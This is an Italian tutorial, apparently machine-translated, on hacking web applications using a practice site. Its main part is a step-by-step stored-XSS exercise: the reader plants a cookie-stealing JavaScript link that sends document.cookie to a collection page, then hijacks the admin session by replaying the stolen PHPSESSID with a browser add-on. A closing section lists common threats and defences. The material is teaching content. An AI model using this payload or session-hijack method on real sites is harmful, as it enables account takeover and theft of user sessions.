Come hackerare un sito web? Tecniche comuni di hacking dei siti

Tecniche di hacking dei siti web

Oggi più persone hanno accesso a Internet che mai. Ciò ha spinto molte organizzazioni a sviluppare applicazioni basate sul Web che gli utenti possono utilizzare online per interagire con l'organizzazione. Il codice scritto in modo inadeguato per le applicazioni web può essere sfruttato per ottenere l'accesso non autorizzato a dati sensibili e server web.

In questo tutorial imparerai come hackerare i siti Web e te lo presenteremo tecniche di hacking delle applicazioni web e contromisure che puoi mettere in atto per proteggerti da tali attacchi.

Come hackerare un sito web

In questo scenario pratico di hacking di siti Web, prenderemo il controllo della sessione utente dell'applicazione Web situata in www.techpanda.org. Utilizzeremo il cross site scripting per leggere l'ID della sessione del cookie e quindi utilizzarlo per impersonare una sessione utente legittima.

Si presuppone che l'aggressore abbia accesso all'applicazione web e voglia prendere il controllo delle sessioni di altri utenti che utilizzano la stessa applicazione. L'obiettivo di questo attacco potrebbe essere quello di ottenere l'accesso amministrativo all'applicazione Web presupponendo che l'account di accesso dell'aggressore sia limitato.

Passo 1) Apri URL http://www.techpanda.org/.

A scopo pratico, si consiglia vivamente di accedere utilizzando SQL Injection. Fare riferimento a questo articolo per ulteriori informazioni su come farlo.

Passo 2) Inserisci i dettagli di accesso.

L'email di accesso è admin@google.com, la password è Password2010.

Passo 3) Controlla il cruscotto.

Se hai effettuato l'accesso correttamente, otterrai la seguente dashboard

Hackerare un sito web

Passo 4) Inserisci nuovo contenuto.

Fare clic su Aggiungi nuovo contatto e immettere quanto segue come nome

<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>

Passo 5) Aggiungi Javascript.

Il codice precedente utilizza JavaCopione. Aggiunge un collegamento ipertestuale con un evento onclick. Quando l'utente ignaro fa clic sul collegamento, l'evento recupera il file PHP ID di sessione del cookie e lo invia al file snatch_sess_id.php pagina insieme all'ID di sessione nell'URL

Hackerare un sito web

Passo 6) Aggiungi dettagli.

Inserisci i dettagli rimanenti come mostrato di seguito e fai clic su Salva modifiche

Hackerare un sito web

Passo 7) Controlla il cruscotto.

La tua dashboard ora apparirà come la seguente schermata

Hackerare un sito web

Passo 8) Controlla l'ID della sessione.

  • Poiché il codice dello script multisito è memorizzato nel database, verrà caricato ogni volta che gli utenti con diritti di accesso effettuano l'accesso
  • Supponiamo che l'amministratore acceda e faccia clic sul collegamento ipertestuale che dice Scuro
  • Lui/lei otterrà la finestra con l'ID della sessione mostrato nell'URL
  • Hackerare un sito web

    Note:: lo script potrebbe inviare il valore a un server remoto in cui è archiviato il PHPSESSID, quindi l'utente viene reindirizzato al sito Web come se nulla fosse accaduto.

    Note:: il valore ottenuto potrebbe essere diverso da quello indicato in questa pagina web tutorial sull'hacking, ma il concetto è lo stesso

    Rappresentazione della sessione utilizzando Firefox e componente aggiuntivo Tamper Data

    Il diagramma di flusso seguente mostra i passaggi da eseguire per completare questo esercizio.

    Rappresentazione della sessione utilizzando Firefox e componente aggiuntivo Tamper Data

    • Avrete bisogno di Firefox browser web per questa sezione e componente aggiuntivo Tamper Data
    • Apri Firefox e installare l'add come mostrato nei diagrammi seguenti

    Rappresentazione della sessione utilizzando Firefox e componente aggiuntivo Tamper Data

    Rappresentazione della sessione utilizzando Firefox e componente aggiuntivo Tamper Data

    • Cerca i dati di manomissione, quindi fai clic su Installa come mostrato sopra

    Rappresentazione della sessione utilizzando Firefox e componente aggiuntivo Tamper Data

    • Fare clic su Accetta e installa...

    Rappresentazione della sessione utilizzando Firefox e componente aggiuntivo Tamper Data

    Rappresentazione della sessione utilizzando Firefox e componente aggiuntivo Tamper Data

    • Fare clic su Riavvia ora al termine dell'installazione
    • Abilita la barra dei menu in Firefox se non viene mostrato

    Rappresentazione della sessione utilizzando Firefox e componente aggiuntivo Tamper Data

    • Fare clic sul menu Strumenti quindi selezionare Dati manomissione come mostrato di seguito

    Rappresentazione della sessione utilizzando Firefox e componente aggiuntivo Tamper Data

    • Si aprirà la seguente finestra. Nota: se il Windows non è vuoto, premi il pulsante Cancella

    Rappresentazione della sessione utilizzando Firefox e componente aggiuntivo Tamper Data

    • Fare clic sul menu Avvia Tamper
    • Torna a Firefox browser Web, digitare http://www.techpanda.org/dashboard.php quindi premere il tasto Invio per caricare la pagina
    • Riceverai il seguente pop-up da Tamper Data

    Rappresentazione della sessione utilizzando Firefox e componente aggiuntivo Tamper Data

    • La finestra pop-up presenta tre (3) opzioni. L'opzione Tamper consente di modificare le informazioni dell'intestazione HTTP prima che vengano inviate al server.
    • Clicca su di esso
    • Si aprirà la seguente finestra

    Rappresentazione della sessione utilizzando Firefox e componente aggiuntivo Tamper Data

    • copiare il ID sessione PHP hai copiato dall'URL dell'attacco e incollalo dopo il segno uguale. Il tuo valore ora dovrebbe assomigliare a questo
    PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
    • Fare clic sul pulsante OK
    • Verrà visualizzata nuovamente la finestra popup dei dati di manomissione

    Rappresentazione della sessione utilizzando Firefox e componente aggiuntivo Tamper Data

    • Deseleziona la casella di controllo che chiede Continuare la manomissione?
    • Al termine, fare clic sul pulsante di invio
    • Dovresti essere in grado di vedere la dashboard come mostrato di seguito

    Rappresentazione della sessione utilizzando Firefox e componente aggiuntivo Tamper Data

    Note:: non abbiamo effettuato l'accesso, abbiamo impersonato una sessione di accesso utilizzando il valore PHPSESSID recuperato utilizzando il cross site scripting

    Cos'è un'applicazione Web? Cosa sono le minacce Web?

    Un'applicazione web (nota anche come sito web) è un'applicazione basata sul modello client-server. IL server fornisce l'accesso al database e la logica aziendale. È ospitato su un server web. L'applicazione client viene eseguita sul browser Web client. Le applicazioni Web sono generalmente scritte in linguaggi come Java, C# e VB.Net, PHP, ColdFusion Markup Language, ecc. i motori di database utilizzati nelle applicazioni web includono MySQL, MS SQL Server, PostgreSQL, SQLite, ecc.

    Principali tecniche di hacking dei siti Web

    La maggior parte delle applicazioni web sono ospitate su server pubblici accessibili tramite Internet. Ciò le rende vulnerabili agli attacchi a causa della facile accessibilità. Di seguito sono riportate le minacce comuni alle applicazioni web.

    • SQL Injection – l’obiettivo di questa minaccia potrebbe essere quello di aggirare gli algoritmi di accesso, sabotare i dati, ecc.
    • Attacchi Denial of Service– l’obiettivo di questa minaccia potrebbe essere quello di negare agli utenti legittimi l’accesso alla risorsa
    • Cross Site Scripting XSS– l’obiettivo di questa minaccia potrebbe essere quello di iniettare codice che può essere eseguito sul browser lato client.
    • Avvelenamento da cookie/sessione– l’obiettivo di questa minaccia è modificare i cookie/dati di sessione da parte di un utente malintenzionato per ottenere un accesso non autorizzato.
    • Manomissione dei moduli – l’obiettivo di questa minaccia è modificare i dati del modulo come i prezzi nelle applicazioni di e-commerce in modo che l’aggressore possa ottenere articoli a prezzi ridotti.
    • Iniezione di codice – l’obiettivo di questa minaccia è iniettare codice come PHP, Python, ecc. che possono essere eseguiti sul server. Il codice può installare backdoor, rivelare informazioni sensibili, ecc.
    • deturpazione– l'obiettivo di questa minaccia è modificare la pagina visualizzata su un sito Web e reindirizzare tutte le richieste di pagina a un'unica pagina che contiene il messaggio dell'aggressore.

    Come proteggere il tuo sito web dagli attacchi hacker?

    Un'organizzazione può adottare la seguente politica per proteggersi dagli attacchi al server web.

    • SQL Injection – la sanificazione e la convalida dei parametri utente prima di inviarli al database per l'elaborazione può aiutare a ridurre le possibilità di essere attaccati tramite SQL Injection. Motori di database come MS SQL Server, MySQL, ecc. parametri di supporto e dichiarazioni preparate. Sono molto più sicuri delle tradizionali istruzioni SQL
    • Attacchi Denial of Service – i firewall possono essere utilizzati per bloccare il traffico proveniente da indirizzi IP sospetti se l'attacco è un semplice DoS. Anche una corretta configurazione delle reti e del sistema di rilevamento delle intrusioni può aiutare a ridurre le possibilità di a Da attacchi DoS avuto successo.
    • Cross Site Scripting - la convalida e la pulizia delle intestazioni, dei parametri passati tramite l'URL, dei parametri dei moduli e dei valori nascosti può aiutare a ridurre gli attacchi XSS.
    • Avvelenamento da cookie/sessione – ciò può essere evitato crittografando il contenuto dei cookie, disattivando i cookie dopo un certo tempo, associando i cookie all’indirizzo IP del client utilizzato per crearli.
    • Tempra di forma – ciò può essere evitato convalidando e verificando l'input dell'utente prima di elaborarlo.
    • Iniezione di codice – ciò può essere evitato trattando tutti i parametri come dati anziché come codice eseguibile. Per implementare ciò è possibile utilizzare la sanificazione e la convalida.
    • Deturpazione – una buona politica di sicurezza per lo sviluppo di applicazioni web dovrebbe garantire la tenuta vulnerabilità comunemente utilizzate per accedere al server web. Può trattarsi di una corretta configurazione del sistema operativo, del software del server Web e delle migliori pratiche di sicurezza durante lo sviluppo di applicazioni Web.
    Verificare questo: 9 migliori scanner URL per verificare che il collegamento sia sicuro da malware

    Sommario

    • Un'applicazione web si basa sul modello server-client. Il lato client utilizza il browser Web per accedere alle risorse sul server.
    • Le applicazioni Web sono generalmente accessibili tramite Internet. Ciò li rende vulnerabili agli attacchi.
    • Le minacce alle applicazioni Web includono SQL Injection, Code Injection, XSS, Defacement, Cookie Poisoning, ecc.
    • Una buona politica di sicurezza durante lo sviluppo di applicazioni web può aiutare a renderle sicure.